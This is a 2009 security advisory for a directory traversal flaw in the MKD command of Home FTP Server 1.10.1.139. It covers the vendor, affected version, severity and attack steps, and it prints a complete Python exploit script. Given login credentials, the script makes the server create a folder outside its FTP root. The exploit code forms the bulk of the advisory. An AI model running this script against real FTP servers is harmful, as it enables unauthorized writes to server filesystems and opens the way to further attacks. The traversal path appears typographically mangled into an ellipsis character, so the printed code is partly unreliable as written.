Date of Discovery: 17-Nov-2009
Credits:zhangmc[at]mail.ustc.edu.cn
Vendor:
Ari Pikivirta
http://downstairs.dnsalias.net/homeftpserver.html
Affected:
Home FTP Server 1.10.1.139
Earlier versions may also be affected
Overview:
Home FTP Server is an easy use FTP server Application. Directory Traversal Vulnerability exists in
Home FTP Server that
allows an authenticated user to create directories outside the FTP root directory, which may lead to
other attacks.
Details:
Home FTP Server fails to sufficiently sanitize user-supplied input in 'MKD' command. An
authenticated user could use command
"MKD …/A" to create a folder named "A" outside the FTP root directory.
If you could log on the server successfully, take the following steps to create directories outside
the FTP root directory:
1.sock.connect((hostname, 21))
2.sock.send("user %s\r\n" %username)
3.sock.send("pass %s\r\n" %passwd)
4.sock.send("MKD …/A\r\n")
5.sock.close()
Severity:
High
Exploit example:
#!/usr/bin/python
import socket
import sys
def Usage():
print ("Usage: ./expl.py <serv_ip> <Username> <password>\n")
print ("Example:./expl.py 192.168.48.183 anonymous anonymous\n")
if len(sys.argv) <> 4:
Usage()
sys.exit(1)
else:
hostname=sys.argv[1]
username=sys.argv[2]
passwd=sys.argv[3]
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
sock.connect((hostname, 21))
except:
print ("Connection error!")
sys.exit(1)
r=sock.recv(1024)
sock.send("user %s\r\n" %username)
r=sock.recv(1024)
sock.send("pass %s\r\n" %passwd)
r=sock.recv(1024)
sock.send("MKD …/A\r\n")
sock.close()
sys.exit(0);